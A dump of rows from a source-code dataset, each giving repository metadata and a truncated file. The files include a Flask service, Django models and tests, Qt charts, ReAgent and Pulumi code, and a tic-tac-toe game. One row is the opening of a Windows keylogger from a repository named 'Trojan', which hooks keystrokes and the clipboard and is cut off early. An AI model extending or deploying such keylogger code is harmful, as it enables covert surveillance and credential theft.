e843f2f5fde9959a0c9ca2b6065b89fa98b9c9d5 | 2bb83c3cb44e68be897f3a9aec78915f28b8eab3 | /web_service.py | def5cd076a22f733406b388f8d5239615832a583 | [] | no_license | emilianomfortes/Investing.com-Scraper | 3f45fa003e58bc45652533234691fd6a37cec43e | 890d75bcfd6fbe8b74eb8545461f95cb57354cb4 | refs/heads/master | 2023-03-15T21:53:25.016289 | 2019-06-09T07:37:47 | 2019-06-09T07:37:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,135 | py | from flask import Flask
from flask import request
from flask import jsonify, make_response
import numpy as np
from datetime import datetime, timezone
from db_table import db_table
app = Flask(__name__)
# Set up db connection
def get_db_conn():
db_schema = {
"Date": "date PRIMARY KEY",
"Gold": "f... | [
"thomas.pham96@yahoo.com"
] | thomas.pham96@yahoo.com |
57fab0e19bb4bd272a0f164b668604ea96c0d46e | d20566ab9a909c36559568dc49e77e76d75ab62b | /ams/structures/sim_taxi_user.py | 41cd8b1dcf1ea1107ad18109fac8162320a52e15 | [
"Apache-2.0"
] | permissive | yangkang411/AMS | 3049712afd37bf7463adfa25e8f01ffbe226ba54 | bb685024b1c061e7144dc2ef93e09d6d6c830af8 | refs/heads/master | 2022-01-05T15:56:05.063164 | 2018-04-13T06:28:24 | 2018-04-13T06:28:24 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 654 | py | #!/usr/bin/env python
# coding: utf-8
from ams.structures import get_namedtuple_from_dict
SIM_TAXI_USER = get_namedtuple_from_dict("CONST", {
"NODE_NAME": "SimTaxiUser",
"TRIGGER": {
"REQUEST": "request",
"WAIT": "wait",
"GET_ON": "get_on",
"GOT_ON": "got_on",
"MOVE_VE... | [
"hiro-ya-iv@gmail.com"
] | hiro-ya-iv@gmail.com |
078c7897397892d20957b1746bb3eda834acdc22 | ca234628f41b010cb9ef51d46a612172f5810f5c | /Codes/NN/feature_extraction.py | 957041a02974da108859464e931afc11c57509fd | [] | no_license | AdityaGolatkar/Document-Summarization-by-key-sentence-extraction-using-NN | 88f064466d847936c957a2fddfd44d637fb7c717 | 8a7c37b289cec117f273abc438d8b51f2e97592d | refs/heads/master | 2020-03-26T15:59:51.766083 | 2018-10-10T04:09:05 | 2018-10-10T04:09:05 | 145,076,388 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 13,113 | py | # -*- coding: utf-8 -*-
"""
Created on Thu Nov 23 16:55:33 2017
@author: Rudrajit Aditya Akash
"""
import csv
import nltk
#nltk.download('punkt')
import re
import glob
import numpy as np
from gensim.models import Word2Vec
from sklearn.metrics.pairwise import cosine_similarity
#import pdb
#model = KeyedV... | [
"chelsea.aditya@gmail.com"
] | chelsea.aditya@gmail.com |
f53973cb2c5d59d6ecde1124bde8d394e1012c75 | 508fd0c0bda8bed4a583b6e49a35083710a52e66 | /2d-gaussian.py | 9af9e15f8863355055ead1f6882c3e68dc24d426 | [] | no_license | cagnol/CIP | eced651209d7848337570aa33b0243bd6f36eec8 | 65d394f5b46430c7d5e539ebcf635bb08352fda2 | refs/heads/master | 2020-09-04T14:56:43.726377 | 2019-11-05T16:53:37 | 2019-11-05T16:53:37 | 219,761,656 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,736 | py | # This program was created by Christian Hill (IAEA)
# Used, with permission, in the CentraleSupelec CIP class - Lab #10
import numpy as np
import matplotlib.pyplot as plt
from matplotlib import cm
from mpl_toolkits.mplot3d import Axes3D
# Our 2-dimensional distribution will be over variables X and Y
N = 60
X = np.lin... | [
"noreply@github.com"
] | cagnol.noreply@github.com |
f3c92b2e8985689e0247cfdac48bad241ea68cfa | 4437b255b48afbc75a35bc99b1c5a90cc779ceeb | /modules/keylogger.py | 66a2dfd98d49c32d267126b023b3473cd44f0ab4 | [] | no_license | Mahiuha/Trojan | 2efd536bda06afdea1d94e02e6a25cfb74a1f6bc | bcb61d9c8ad7ceb0a12d40ad23796cbb9165623a | refs/heads/master | 2023-06-11T02:19:34.947055 | 2021-07-01T01:25:06 | 2021-07-01T01:25:06 | 260,301,764 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,978 | py | from ctypes import *
import pythoncom
import pyHook
import win32clipboard
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
def get_current_process():
# get a handle to the foreground window
hwnd = user32.GetForegroundWindow()
# find the process ID
pid = c_u... | [
"tiasho.mahiuha@gmail.com"
] | tiasho.mahiuha@gmail.com |
6bd87fef952e8c69e3423f386f408538339d9185 | 8370083dbbbd32740ad1862637809396dc7984e2 | /paresh61.A.MILESTONEPROJECTE/a1.py | 524064c675bcdabbfbdd144f009ea8b4126de4dc | [] | no_license | parshuramsail/PYTHON_LEARN | a919b14aab823e0f5e769d8936ddbfb357133db2 | 8c76720bf73f13cf96930e6d4d5128e6ba9aa535 | refs/heads/main | 2023-07-14T16:25:26.240555 | 2021-08-29T17:10:19 | 2021-08-29T17:10:19 | 401,095,644 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,294 | py | # STEP1: write a function that can printout a board.setup your board as your list,where each index 1-9 corresponnds with a number on a numberpad.
#so you can get a 3 by 3 board representation.
#print('\n'*100)
def display_board(board):
print('\n'*100)
print(" | |")
print(" " + board[7] + '... | [
"64275709+parshuramsail@users.noreply.github.com"
] | 64275709+parshuramsail@users.noreply.github.com |
5bee45a0cbd221f62d0be3707a689e7652ead36e | 76df81aeec45e58b9e013314ca458b8f00eb9d78 | /lib/escape.py | 5b40d37d5113f0e4fb1b85ac5ef88b9db56e86c3 | [] | no_license | tuang/KindWave | 9bc180b45eb55b7b5055ba2fcf06fd3ecaf47622 | ffbf988685fc8577c969a3f9717e564ee13b845f | refs/heads/master | 2016-09-06T02:49:01.173437 | 2014-11-19T07:13:33 | 2014-11-19T07:13:33 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,413 | py | #!/usr/bin/env python
#
# Copyright 2009 Facebook
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or a... | [
"leedeetiger@gmail.com"
] | leedeetiger@gmail.com |
9106a10aff28c894fe165cefa35ee82cd8488822 | b18f92a6a41a3d83e77848460d4a3f17e4fe677a | /introduction_to_python/recursive_functions/1_find_power/solution/test_solution.py | 1a873495b9e68f09bf6e6f09278da0ec62088424 | [] | no_license | ByteAcademyCo/Exercises | de71b885a498ead8296e6107836f9a06ac399d4f | 8332d0473ab35ee1d2975b384afda45c77ef943d | refs/heads/master | 2022-05-25T23:01:59.466480 | 2022-03-14T13:12:10 | 2022-03-14T13:12:10 | 252,842,407 | 1 | 109 | null | 2022-03-14T13:12:11 | 2020-04-03T21:09:47 | Python | UTF-8 | Python | false | false | 167 | py | def test_solution():
from solution import power
assert power(1, 3) == 1
assert power(2, 4) == 16
assert power(0, 1) == 0
assert power(5, 2) == 25
| [
"avelikevitch@gmail.com"
] | avelikevitch@gmail.com |
0d8da4c845c6dfa247dff447bd1179c0d97e47ca | c2d85a7ef18163e4ed6cc0ca8a524aef38ea7e2f | /mirror_api_server/utils.py | a4eb6c1ca95db5693299de1d98f6cc926eaba033 | [
"Apache-2.0"
] | permissive | rajeshvv/mirror-api | 3adc1dfc50ffc97bed0247d12b6042ec0159c28f | 6b6c66a3555fc8155e9fd4df4a3424aa534be2c6 | refs/heads/master | 2021-04-18T20:26:47.302278 | 2013-04-28T20:36:33 | 2013-04-28T20:36:33 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,193 | py | #!/usr/bin/python
# Copyright (C) 2013 Gerwin Sturm, FoldedSoft e.U.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0#
# Unless required by... | [
"scarygami@gmail.com"
] | scarygami@gmail.com |
4e3318e59302534710541c49f0e6f88e96b9363b | b775aaa493c3250450be5e573ba02bd2a05b349f | /Text_Summary_thematicFrequency_themes | 06216c3263aed8360a3dcb6679f354c84f9643ba | [] | no_license | rddspatial/text-summarization | 050f2e366fa803fd39a957c72649093d46c775b0 | 50de17c5909958b312a549d55557e3cc5473c4bc | refs/heads/master | 2022-04-21T08:19:31.552362 | 2022-03-28T14:41:29 | 2022-03-28T14:41:29 | 255,176,418 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 14,787 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Fri Dec 13 12:59:41 2019
@author: Rahul
"""
from geotext import GeoText
from nltk import pos_tag
from nltk.tokenize import word_tokenize, sent_tokenize
from nltk.stem import WordNetLemmatizer
import re
import csv
import spacy # https://spacy.io/usage/spa... | [
"noreply@github.com"
] | rddspatial.noreply@github.com | |
9f2e315804d79d7b9d92bfa94d7535cb25e69c56 | 11d9e08199ba6be0d86cec0b6ab56e50c8226fff | /case 2/ReadFile.py | 2bae2b489e923fee566ac8452929850632802d55 | [] | no_license | molianlaoda/542_Jiaqi_Chen | 07063689b5451cc8f761e8ed5a44e01b468194ac | e51d9d92dcba893a3d9c67962e23d5b784838cfe | refs/heads/master | 2021-01-15T21:07:27.084110 | 2015-11-27T23:08:56 | 2015-11-27T23:08:56 | 42,687,766 | 0 | 1 | null | 2015-10-27T18:58:35 | 2015-09-17T23:39:36 | Python | UTF-8 | Python | false | false | 752 | py | __author__ = 'jarfy'
class ReadFile(object):
def __init__(self):
# self.type = {}
self.record = []
self.content = []
self.col = {'Name': 0, 'Year': 1, 'Format': 2, 'Genre': 3, 'Director': 4, 'Writer': 5, 'Country': 6, 'Maker': 7}
def readFile(self, filename):
try:
... | [
"molianlaoda@163.com"
] | molianlaoda@163.com |
38c6c0a5f76bb46d4ebbf8c3daefec2159e2a13d | 1b80133706999ec3b21e06ffecd19e28fb2dfbbd | /posts/tests/test_models.py | 47346b3a499bf86c27a022c43e2067eeb9e23a89 | [] | no_license | Fastex007/hw04_tests | 3ab2819bd06395661d5e0c11e36d473d7a9dd519 | 6e9ebc8af6cb51ae62bf17e82359a686eb0d41f7 | refs/heads/master | 2023-02-13T18:14:22.934214 | 2021-01-13T15:45:41 | 2021-01-13T15:45:41 | 325,046,072 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,870 | py | from posts.lib.MyTestCase import MyTestCase
class PostModelTest(MyTestCase):
def test_verbose_name_post(self):
"""verbose_name в полях совпадает с ожидаемым.
Модель Post
"""
self.assertEqual(
PostModelTest.test_post._meta.get_field('text').verbose_name,
'Те... | [
"fastex007@yandex.ru"
] | fastex007@yandex.ru |
f30006767dcdf9f17324e03f92349b7c526fad62 | 07564c75c1f37f2e0304720d1c01f23a27ef3469 | /273.IntegertoEnglishWords/solution.py | cfa5b45a7acb04c003bd49fbf53a7a34351569ff | [] | no_license | ynXiang/LeetCode | 5e468db560be7f171d7cb24bcd489aa81471349c | 763372587b9ca3f8be4c843427e4760c3e472d6b | refs/heads/master | 2020-05-21T18:27:16.941981 | 2018-01-09T22:17:42 | 2018-01-09T22:17:42 | 84,642,017 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,439 | py | class Solution(object):
def numberToWords(self, num):
"""
:type num: int
:rtype: str
"""
res = self.helper(num)
return ' '.join(res) if res else 'Zero'
def helper(self, num):
Ones = ['One', 'Two', 'Three', 'Four', 'Five', 'Six', 'Seven', 'Eight', ... | [
"yinan_xiang@163.com"
] | yinan_xiang@163.com |
31d4281eb036da10ee623ed155517ba10365ebef | cfdf3711761fce3dea56a647bb7ef554b08fee1a | /squirrel_2d_localizer/cfg/TwistCorrection.cfg | 9b1972490d03b8975de3de230713b2c09a388468 | [] | no_license | squirrel-project/squirrel_nav | 2d96163cc2bea3437dd2481355049c3d4a2ad31a | bf8ad9ff9f79ab489af82efe37d69716b088b73e | refs/heads/indigo_dev | 2021-03-22T05:18:30.620881 | 2018-04-03T08:13:06 | 2018-04-03T08:13:06 | 19,309,260 | 5 | 12 | null | 2018-04-03T08:13:08 | 2014-04-30T09:51:14 | C++ | UTF-8 | Python | false | false | 821 | cfg | #!/usr/bin/env python
from dynamic_reconfigure.parameter_generator_catkin import *
PACKAGE_NAME = "squirrel_2d_localizer"
gen = ParameterGenerator()
gen.add("enabled", bool_t, 0, "", True)
gen.add("corr_xx", double_t, 0, "", 0.0, 0.0, 100.0)
gen.add("corr_xy", double_t, 0, "", 0.0, 0.0, 100.0)
gen.add("corr_xa", do... | [
"boniardi@informatik.uni-freiburg.de"
] | boniardi@informatik.uni-freiburg.de |
028c10a04ebb2901f7835a15474fdb02878565aa | f6f2576e54f3c4ff9e46be9e97bfe639e5c495cc | /models.py | 841bedc625d02928fec42e114768af8f29e88ccd | [
"MIT"
] | permissive | mback2k/django-app-comments | 2bd77fbec50fe37eb1dca10b45f76de7c46c23bb | 01ba89bf6c59e908a837a48c92575cc2c9f64d1a | refs/heads/master | 2021-01-17T07:10:07.325462 | 2019-04-27T18:17:27 | 2019-04-27T18:17:27 | 24,798,829 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,502 | py | # -*- coding: utf-8 -*-
from django.db import models
from django.db.models import Q, signals
from django.core.cache import cache
from django.core.urlresolvers import reverse
from django.contrib.auth.models import User
from django.utils.translation import ugettext_lazy as _
from django.utils import timezone, html, safes... | [
"info@marc-hoersken.de"
] | info@marc-hoersken.de |
31974bb9dc65df7814e3e6dde721d7d4a5d22f12 | 1ce29b37fb1bdaa0fb5e464be967153b43735a33 | /ClassworkNotes/Python/basic_strings.py | b8edebd1ccc24f0db6c7d2d4e3c35252812032d3 | [] | no_license | Kushendra1/csci127-assignments | 84c32298496f056dd3babb53d501c2e0a28d07f6 | cd26fbaab0ff89c5158410e533da5176671e87c0 | refs/heads/master | 2020-03-28T03:45:33.313295 | 2018-12-20T15:46:16 | 2018-12-20T15:46:16 | 147,669,145 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 874 | py | def bondify(name):
"""
takes in a string in the form "first last" and returns it in the form "last, first last"
"""
space_index = name.find(" ")
first = name[0:space_index]
last = name[space_index:]
bond_name = last + "," + first + last
return bond_name
print(bondify("James Bond"))
def... | [
"Kushendra.Ramrup59@myhunter.cuny.edu"
] | Kushendra.Ramrup59@myhunter.cuny.edu |
2d7eeda797ab89b6dcdc3bdf30a93caba5a6dfab | 53b1e8400e2c1649e719e3c34825c35c78831bbe | /Methods/functions.py | e0cfb80876b9f5def5acd75cd526d934ea85cf99 | [] | no_license | johndward01/Python_Course | 8a35fa1225b9739b74c7960ed0eec30170bf0809 | 42cd4dbbc889d689fcd798d484f37488fa206ea3 | refs/heads/main | 2023-01-30T13:30:43.217127 | 2020-12-11T00:55:42 | 2020-12-11T00:55:42 | 310,707,894 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,402 | py | # FUNCTIONS
# In Python a function is defined using the def keyword:
# Creating the function
# def greeting(first_name, last_name):
# print(f"Hello, {first_name} {last_name}!")
# Calling the function
# greeting("John", "Ward")
# If you do not know how many arguments that will be passed into your function,
# add... | [
"johndward01@yahoo.com"
] | johndward01@yahoo.com |
5c0c1e4112f6deae0874413137f5c0775304d546 | 8cb83d12ac73a7a1c522fd6281b2dc1989cf738f | /test/functional/multi_rpc.py | 3da655f4e594fdfc6537849db6266d1a7a311ab6 | [
"MIT"
] | permissive | MmyGoal/OHHO | 41e86bb763ab03375a900ce0e3366ffb11e5562d | 6eb808b41e7fb56809e6988e32029a5b379c30dc | refs/heads/master | 2023-01-24T05:52:01.707651 | 2020-12-08T15:28:11 | 2020-12-08T15:28:11 | 291,229,359 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,977 | py | #!/usr/bin/env python3
# Copyright (c) 2015-2016 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test multiple RPC users."""
from test_framework.test_framework import BitcoinTestFramework
from test_f... | [
"54119958+markerz99@users.noreply.github.com"
] | 54119958+markerz99@users.noreply.github.com |
79cc6205452c79cfb1cc543f62aed8cc6697d6e1 | 95b9c261c416538063c3e413de7bb40c21ab08c9 | /CommentsApp/forms.py | 68aad2e268c1cc3c3587a401aca57c4675ed7c05 | [] | no_license | Michael41000/CSCapstone | 403ec23e6a6d727d80b7533fdb62bfe3f24747fe | 8309767373ac4d8edf432bdf0de08c510a842dce | refs/heads/master | 2020-12-24T08:54:08.038810 | 2016-12-08T18:22:09 | 2016-12-08T18:22:09 | 73,310,895 | 1 | 0 | null | 2016-11-15T00:51:16 | 2016-11-09T18:37:59 | Python | UTF-8 | Python | false | false | 114 | py | from django import forms
class CommentForm(forms.Form):
comment = forms.CharField(label='Text', max_length=500)
| [
"mrollber@purdue.edu"
] | mrollber@purdue.edu |
96766b767b7e79f7fb5ea45946f0cff5d54bc1c8 | 47dc4152dd163ce751d4703f19bb5339fc1cfb98 | /djchat/settings.py | dae41d6fb978e9e0118e1da42103746c0c1bbbbe | [
"BSD-3-Clause"
] | permissive | michaelXDzhang/pulsar-django | 85cf3437a578b2b198ea2f794d1a1f4db8a78ec1 | 0aa20e1c08b6a782cd634e736e2238776e0c98d5 | refs/heads/master | 2020-07-27T01:06:32.586546 | 2017-11-28T10:18:34 | 2017-11-28T10:18:34 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,562 | py | """
Django settings for djchat project.
For more information on this file, see
https://docs.djangoproject.com/en/1.7/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.7/ref/settings/
"""
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
imp... | [
"luca@quantmind.com"
] | luca@quantmind.com |
81063a6e3d985fbef8bfdf7fa09786028090fef0 | 53fab060fa262e5d5026e0807d93c75fb81e67b9 | /backup/user_231/ch45_2020_04_12_23_45_54_626320.py | c4a53b37d17f38d42ea23fb09e36af31d98485ca | [] | no_license | gabriellaec/desoft-analise-exercicios | b77c6999424c5ce7e44086a12589a0ad43d6adca | 01940ab0897aa6005764fc220b900e4d6161d36b | refs/heads/main | 2023-01-31T17:19:42.050628 | 2020-12-16T05:21:31 | 2020-12-16T05:21:31 | 306,735,108 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 233 | py | lista=[]
lista_reversa=[]
a=int(input('digite um numero:'))
i=(0)
while a>0:
lista.append(a)
i+=1
a=int(input('digite um numero:'))
del lista[i]
while i>=0:
lista_reversa.append(lista[i])
i-=1
print(lista_reversa) | [
"you@example.com"
] | you@example.com |
353f6ace23c860944d395acbddc17d45254171ca | 57cdf9b356ef8e498eae4c67b812c3271022d414 | /projects/one_joint_board1/one_joint_board1_pytester/Utilities.py | b3dd8387ede05205ebc7ebdca8f8fd1bb9b87263 | [] | no_license | sirishn/nerf-verilog | 07fb47f5cddfe74d510d11fcd4639b87db585e59 | 7d92ed54d7820ea64a1a2f9f74474c283d99d835 | refs/heads/master | 2020-04-13T03:01:11.506851 | 2018-12-23T20:02:41 | 2018-12-23T20:02:41 | 162,919,335 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,374 | py | from struct import pack, unpack
from PyQt4.QtCore import Qt
VIEWER_REFRESH_RATE = 10 # in ms, This the T for calculating digital freq
PIPE_IN_ADDR = 0x80
BUTTON_RESET = 0
BUTTON_RESET_SIM = 1
BUTTON_ENABLE_SIM = 2
DATA_EVT_CLKRATE = 0
# address name visual_gain type color
CHIN_... | [
"sirish@Gold-Rush.local"
] | sirish@Gold-Rush.local |
89cf43fcdba2962e0c3b290682879d4b9bac3ca5 | 2dbbd1574a209d26f369aa352baf0414aa6817c1 | /Google-IT-Automation/PythonOS/Week5 /Testcases/emails.py | 62eaaa2eaaba4f0c0937a1023cbcab42c0a82caf | [] | no_license | vvbaliga/PythonCourse | b65f2782c8ce892914030f50a49d3ccbabca4703 | 73ac0031911ecd074769b1e1f7dba834144e5014 | refs/heads/master | 2022-11-06T05:42:02.048764 | 2020-06-25T03:04:29 | 2020-06-25T03:04:29 | 228,270,550 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 973 | py |
#!/usr/bin/env python3
# python3 emails_test.py
import csv
import sys
def populate_dictionary(filename):
"""Populate a dictionary with name/email pairs for easy lookup."""
email_dict = {}
with open(filename) as csvfile:
lines = csv.reader(csvfile, delimiter=',')
for row in lines:
name = str(row[... | [
"noreply@github.com"
] | vvbaliga.noreply@github.com |
f22210c8427f7e7a65853ec23b3430b0491d5c34 | c97fc7658c39feb51c0ed42c04783797c8675b8a | /xm_1/qt简单数据可视化.py | 8536d7db1bea48f72b69fae54a0168600924e53b | [] | no_license | githubvit/study | 8bff13b18bea4954e8ed1b4619a091b134b8ff97 | 845e19d1225f1aa51c828b15effac30be42fdc1b | refs/heads/master | 2023-02-20T15:59:19.635611 | 2021-12-15T08:30:54 | 2021-12-15T08:30:54 | 241,928,274 | 1 | 1 | null | 2023-02-02T06:18:48 | 2020-02-20T16:08:06 | Python | UTF-8 | Python | false | false | 1,548 | py | # Qt数据可视化 https://doc.qt.io/qt-5/qtcharts-overview.html
from PySide2 import QtGui, QtWidgets
from PySide2.QtCharts import QtCharts
# 在Qt5.7版本后将Qt Charts加入到了Qt模块中。
# 我们可以方便的使用这个模块,绘制很多样式的图形,比如折线、饼图等,快速实现数据可视化。
# 用Qt Charts绘制,大概分为四个部分:
# 数据(QXYSeries)、QChart(不知怎么称呼)、坐标轴(QAbstractAXis)和视图(QChartView)。
# 要注意的是 QCh... | [
"sgq523@163.com"
] | sgq523@163.com |
43f0f0b13d9f8bf38f11d2a9376cd611e7b2d20b | dbfa0fb294e652f819ddf5310aa6e64383e55e29 | /roc_cv.py | 3193697a763d48c04040be99fd84340934f0ff65 | [] | no_license | Luiscn/CarcinogenPrediction | 8073f02aea2cf9668774046affb3340f49da3a83 | 6674b5c73d3b2933893fb88128af0c9651c64f85 | refs/heads/master | 2020-04-09T01:37:26.116718 | 2018-12-02T23:13:36 | 2018-12-02T23:13:36 | 159,911,414 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,829 | py | import numpy as np
from scipy import interp
import matplotlib.pyplot as plt
from sklearn import svm, datasets
from sklearn.metrics import roc_curve, auc
from sklearn.model_selection import StratifiedKFold
# #############################################################################
# Data IO and generation
os.chdi... | [
"noreply@github.com"
] | Luiscn.noreply@github.com |
b3cf3a9f9a3615ad902926a49be6cbf5d61fa253 | 5e6d8b9989247801718dd1f10009f0f7f54c1eb4 | /sdk/python/pulumi_azure_native/compute/availability_set.py | 5b77516e40d5119864dee8097599203fac648887 | [
"BSD-3-Clause",
"Apache-2.0"
] | permissive | vivimouret29/pulumi-azure-native | d238a8f91688c9bf09d745a7280b9bf2dd6d44e0 | 1cbd988bcb2aa75a83e220cb5abeb805d6484fce | refs/heads/master | 2023-08-26T05:50:40.560691 | 2021-10-21T09:25:07 | 2021-10-21T09:25:07 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 21,431 | py | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
from... | [
"noreply@github.com"
] | vivimouret29.noreply@github.com |
155b52bb1a9e4aa73afd62fa8af025b4d0842a30 | 5df42e7af528a6d56639c9359459fb58f07d0626 | /wolf_outer/spider_bases/utils.py | 965dce98bbae90ca92d25a7aee0fe0a17896b64f | [] | no_license | nwaiting/wolf-ai | 63487fc7dd297f6b0fb6116788db369f2ea7ff2e | 6ec93de254f081b41fec86078ac1fc9122cbddd5 | refs/heads/master | 2021-06-09T00:26:06.698516 | 2021-03-30T01:13:45 | 2021-03-30T01:13:45 | 86,796,641 | 7 | 10 | null | null | null | null | UTF-8 | Python | false | false | 58,694 | py | import threading
import logging
import datetime
import time
import smtplib
from email.mime.text import MIMEText
from email.header import Header
import json
import requests
import random
import hashlib
from .config import mobile_user_agents
from .sqlmodel import SqlModel
logger = logging.getLogger(__file__)
def to_i... | [
"798990255@qq.com"
] | 798990255@qq.com |
86e5353a7974d04d870bbcee14783ed107db730b | 26d3a7f99d3b24d92d84a362cc9c2aacb79dce73 | /venv/Scripts/pip3.8-script.py | a2398637eb894be0dda9050d415e609f1da0c2a4 | [] | no_license | LadislavTebich/Test_LT | d0d7f18d9f8231574018e916a2a9a0a5dbf236f3 | 54cbd0d026759f75331994e250b5c4325e2db2df | refs/heads/master | 2022-12-04T06:56:50.444142 | 2020-08-19T12:57:36 | 2020-08-19T12:57:36 | 288,732,294 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 417 | py | #!C:\Users\tebiclad\PycharmProjects\novy\venv\Scripts\python.exe
# EASY-INSTALL-ENTRY-SCRIPT: 'pip==19.0.3','console_scripts','pip3.8'
__requires__ = 'pip==19.0.3'
import re
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.arg... | [
"la.te@post.cz"
] | la.te@post.cz |
7bbbb1ef33734dd3fa84fcaa6ef4c6c904a371fa | 85171ce2cbf92c8d2d6893662a63ef0406e4c943 | /8번.py | 48f0aaefcc4860c12fb828caa9a4c13097646e3e | [] | no_license | kdg1969/dogyun981029 | c6ab80d30b2948194e3fee2aa3c8f2c9f9ea8f51 | 22d09200bf2566fc8e2ef3986601001e2237e48f | refs/heads/master | 2020-03-17T08:59:30.829165 | 2018-05-15T14:43:03 | 2018-05-15T14:43:03 | 133,457,522 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 75 | py | import time
for i in range(1,6):
print(i, end =' ')
time.sleep(1)
| [
"39289393+kdg1969@users.noreply.github.com"
] | 39289393+kdg1969@users.noreply.github.com |
e26dd02fe5d3ca61446aeb44694672a6852d2685 | a38eae05908efc50667b225d470dc28c8057abde | /Examples/put_pdf_request_tiff.py | ce8af07eee102d4b02c260fdae51edb4dc62138f | [
"MIT",
"Python-2.0"
] | permissive | aspose-pdf-cloud/aspose-pdf-cloud-python | 9fcceff7ee0df1d4594d4e508212a20059034ee5 | f462bf34d587232b7f0eea664b2725c9fa644c6c | refs/heads/master | 2023-09-03T12:57:11.864388 | 2023-08-24T12:46:37 | 2023-08-24T12:46:37 | 127,921,519 | 9 | 5 | MIT | 2023-08-24T12:46:38 | 2018-04-03T14:32:18 | Python | UTF-8 | Python | false | false | 254 | py | from configuration import *
file_name = '4pages.pdf'
result_file_name = "result.tiff"
opts = {
"file": test_data_path + file_name
}
response = pdf_api.put_pdf_in_request_to_tiff(
temp_folder + '/' + result_file_name, **opts)
pprint(response)
| [
"mateen.sajid@systemsltd.com"
] | mateen.sajid@systemsltd.com |
13c1a1145d7bfb16e18555515b82e854b1115287 | ce5b0928e1044c6f05aeff18f19178fb8838bab7 | /QueueingSystems/mg1_model.py | 0e5f4029d6372e84dddce588da1f465f5a1139dd | [] | no_license | eth-cscs/abcpy-models | b79abc0778c17b2beabe3b30b899a02392060ed2 | be3c648b19ddf5770482216a9381db5bbcdb3d24 | refs/heads/master | 2022-03-12T20:43:57.973456 | 2022-02-22T17:00:27 | 2022-02-22T17:00:27 | 101,402,025 | 11 | 8 | null | 2021-09-10T15:06:22 | 2017-08-25T12:33:11 | Python | UTF-8 | Python | false | false | 4,206 | py | import unittest
import numpy as np
from abcpy.continuousmodels import ProbabilisticModel, Continuous, InputConnector
class MG1Queue(ProbabilisticModel, Continuous):
"""Simulates a M/G/1 queueing system with Uni[theta1, theta2] service times and Exp(theta3) interarrival times.
It returns the interdeparture ti... | [
"lorenzo.pacchiardi@stats.ox.ac.uk"
] | lorenzo.pacchiardi@stats.ox.ac.uk |
afeca1f1cd07b23047db7c543d9706c25036ef44 | 0d43b36da35dc97239e665dedfa6f5dd6812986e | /examples/kure.py | da3070e7084e790b7b41eac23c4b3337d6021baf | [] | no_license | PaulCotney/tfpipe | 39be244b46a531fbac3a41cf606e957dde6e02e7 | 88008c80c48ccf91527311c7f7ac801c4b0dd0c3 | refs/heads/master | 2021-01-22T09:48:54.127534 | 2018-08-22T13:48:31 | 2018-08-22T13:48:31 | 63,611,894 | 0 | 0 | null | 2017-05-15T16:22:14 | 2016-07-18T14:54:04 | Python | UTF-8 | Python | false | false | 2,340 | py | #!/usr/bin/env python
"""Example pipeline using LSF on Kure.
"""
from os.path import basename as bname
from tfpipe.modules.galaxy import FastxTrimmer, FastqQualityFilter
from tfpipe.pipeline import WorkFlow
def main(args):
job_list = []
for input_file in args.files:
filename = bname(input_file... | [
"eklundke@gmail.com"
] | eklundke@gmail.com |
e3befb7b065b5be68585a6da785f873742bbffa3 | a6fa311aff9a99ad6a47e41fe34f3f12bb507007 | /reagent/training/__init__.py | 2cc9b73dd0d046b8b5115d9b7e1115535db99f34 | [
"BSD-3-Clause"
] | permissive | cts198859/ReAgent | 222e9dd4aeba455ad5faa9f6178a0e9793cb82fc | 20f3d333821bad364fd567cce97de51c44123484 | refs/heads/master | 2022-09-15T13:08:24.732208 | 2020-05-29T00:51:35 | 2020-05-29T00:54:45 | 267,776,326 | 0 | 0 | BSD-3-Clause | 2020-05-29T05:51:43 | 2020-05-29T05:51:43 | null | UTF-8 | Python | false | false | 987 | py | #!/usr/bin/env python3
# Copyright (c) Facebook, Inc. and its affiliates. All rights reserved.
from .c51_trainer import C51Trainer, C51TrainerParameters
from .cem_trainer import CEMTrainer
from .dqn_trainer import DQNTrainer, DQNTrainerParameters
from .parametric_dqn_trainer import ParametricDQNTrainer, ParametricDQNT... | [
"facebook-github-bot@users.noreply.github.com"
